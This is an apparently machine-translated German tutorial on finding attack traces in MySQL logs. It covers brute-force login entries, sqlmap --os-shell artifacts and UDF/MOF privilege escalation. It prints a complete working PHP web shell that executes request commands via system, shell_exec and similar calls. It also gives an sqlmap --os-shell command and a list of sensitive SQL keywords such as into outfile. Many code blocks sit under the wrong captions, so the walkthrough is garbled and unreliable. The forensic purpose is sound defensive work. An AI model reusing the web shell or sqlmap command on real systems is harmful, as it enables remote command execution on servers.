Heim > Betrieb und Instandhaltung > Sicherheit > So analysieren Sie Datenbankprotokolle

So analysieren Sie Datenbankprotokolle

王林
Freigeben: 2020-06-11 17:20:01
nach vorne
3349 Leute haben es durchsucht

So analysieren Sie Datenbankprotokolle

Zu den häufigsten Datenbankangriffen gehören schwache Passwörter, SQL-Injection, erhöhte Berechtigungen, gestohlene Backups usw. Durch die Analyse von Datenbankprotokollen können Angriffsverhalten entdeckt, Angriffsszenarien weiter wiederhergestellt und Angriffsquellen zurückverfolgt werden.

1. MySQL-Protokollanalyse

Das allgemeine Abfrageprotokoll kann erfolgreiche Verbindungen und jede ausgeführte Abfrage aufzeichnen. Wir können es als Teil der Sicherheitsbereitstellung verwenden Grundlage für Analysen oder Post-Hacking-Ermittlungen.

1. Protokollkonfigurationsinformationen anzeigen

show variables like '%general%';
Nach dem Login kopieren

2. Protokolldateipfad angeben

SET GLOBAL general_log = 'On';
Nach dem Login kopieren

Zum Beispiel wann Ich besuche /test .php?id=1, zu diesem Zeitpunkt erhalten wir ein Protokoll wie dieses:

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
Nach dem Login kopieren

Analysieren wir es nach Spalte:

Die erste Spalte: Zeit, die Zeitspalte, Das erste ist das Datum, das letzte ist das Datum. Eins sind Stunden und Minuten. Ein Grund dafür, dass sie nicht angezeigt werden, liegt darin, dass diese SQL-Anweisungen fast gleichzeitig ausgeführt werden und die Zeit daher nicht separat aufgezeichnet wird.

Die zweite Spalte: Id ist die Thread-ID in der ersten Spalte der Show Processlist. Bei langen Verbindungen und einigen zeitaufwändigen SQL-Anweisungen können Sie genau herausfinden, welcher Thread ausgeführt wird.

Die dritte Spalte: Befehl, Operationstyp, zum Beispiel „Verbinden“ dient zum Herstellen einer Verbindung zur Datenbank und „Abfrage“ zum Abfragen der Datenbank (Hinzufügungen, Löschungen, Überprüfungen und Änderungen werden alle als Abfragen angezeigt) und einige Vorgänge können gezielt gefiltert werden.

Die vierte Spalte: Argument, detaillierte Informationen, zum Beispiel „Root@localhost verbinden“ bedeutet, eine Verbindung zur Datenbank herzustellen usw., welche Abfragevorgänge nach der Verbindung zur Datenbank ausgeführt wurden.

2. Anmeldung erfolgreich/fehlgeschlagen

Führen Sie einen einfachen Test durch, den ich zuvor entwickelt habe. Die Wörterbucheinstellung ist relativ klein. 2 Benutzer, 4 Passwörter, insgesamt 8 Gruppen.

So analysieren Sie DatenbankprotokolleDer Protokolldatensatz in MySQL sieht folgendermaßen aus:

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit
Nach dem Login kopieren

Wissen Sie, welches bei diesem Passwort-Rateprozess erfolgreich ist?

Mit Sprengwerkzeugen sieht ein erfolgreicher Passwort-Rate-Datensatz so aus:

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit
Nach dem Login kopieren

Wenn Sie jedoch andere Methoden verwenden, kann es etwas anders aussehen.

Navicat für MySQL-Anmeldung:

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit
Nach dem Login kopieren

Befehlszeilen-Anmeldung:

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES
Nach dem Login kopieren

Der Unterschied besteht darin, dass verschiedene Datenbankverbindungstools unterschiedliche Initialisierungsprozesse für die Verbindung zur Datenbank haben. Durch diesen Unterschied können wir einfach bestimmen, wie der Benutzer eine Verbindung zur Datenbank herstellt.

Darüber hinaus wird bei Anmeldefehlern immer derselbe Eintrag angezeigt, unabhängig davon, ob Sie ein Blasting-Tool, Navicat für MySQL oder die Befehlszeile verwenden.

Aufzeichnung der fehlgeschlagenen Anmeldung:

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit
Nach dem Login kopieren

Verwenden Sie den Shell-Befehl für eine einfache Analyse:

Welche IPs werden gesprengt?

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
Nach dem Login kopieren

Was sind die Wörterbücher für explosive Benutzernamen?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1
Nach dem Login kopieren

Bei der Protokollanalyse muss einigen sensiblen Vorgängen besondere Aufmerksamkeit gewidmet werden, z. B. dem Löschen von Tabellen, dem Vorbereiten von Datenbanken, dem Lesen und Schreiben von Dateien usw.

Schlüsselwörter: Tabelle löschen, Funktion löschen, Tabellen sperren, Tabellen entsperren, load_file(), in Outfile, in Dumpfile.

Sensible Datenbanktabellen: SELECT * von mysql.user, SELECT * von mysql.func


3. Spuren von SQL-Injection-Eingriffen

Ausnutzung von SQL-Injection-Schwachstellen während Während des Prozesses werden wir versuchen, den Parameter --os-shell von sqlmap zu verwenden, um die Shell abzurufen. Wenn der Vorgang nicht sorgfältig durchgeführt wird, bleiben möglicherweise einige von sqlmap erstellte temporäre Tabellen und benutzerdefinierten Funktionen zurück. Werfen wir zunächst einen Blick auf die Verwendung und das Prinzip der SQLMAP-OS-Shell-Parameter:

1. Erstellen Sie einen SQL-Injection-Punkt und ermöglichen Sie Burp, Port 8080 abzuhören.

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql
Nach dem Login kopieren

Der HTTP-Kommunikationsprozess ist wie folgt:

So analysieren Sie DatenbankprotokolleErstellt eine temporäre Datei tmpbwyov.php, führt Systembefehle durch Zugriff auf diesen Trojaner aus und kehrt zur Seitenanzeige zurück.

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
Nach dem Login kopieren

hat eine temporäre Tabelle sqlmapoutput erstellt, die gespeicherte Prozedur aufgerufen, um Systembefehle zum Schreiben von Daten in die temporäre Tabelle auszuführen, und dann die Daten aus der temporären Tabelle übernommen und im Frontend angezeigt.

Indem Sie die kürzlich erstellten verdächtigen Dateien im Website-Verzeichnis überprüfen, können Sie feststellen, ob ein SQL-Injection-Schwachstellenangriff stattgefunden hat.

Überprüfungsmethode:

Überprüfen Sie, ob sich im Website-Verzeichnis einige Trojaner-Dateien befinden:

So analysieren Sie Datenbankprotokolle2 eine UDF-Datei Spuren von Privilegien und MOF-Privilegienausweitung

Überprüfen Sie, ob abnormale Dateien im Verzeichnis vorhanden sind

tmpbwyov.php:
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
Nach dem Login kopieren
";?>`

Überprüfen Sie, ob die Funktion gelöscht wurde

mysqllibpluginc:/windows/system32/wbem/mof/
Nach dem Login kopieren

3 Weblog-Analyse.

Empfohlenes Tutorial:

Webserver-Sicherheit

Das obige ist der detaillierte Inhalt vonSo analysieren Sie Datenbankprotokolle. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:secpulse.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage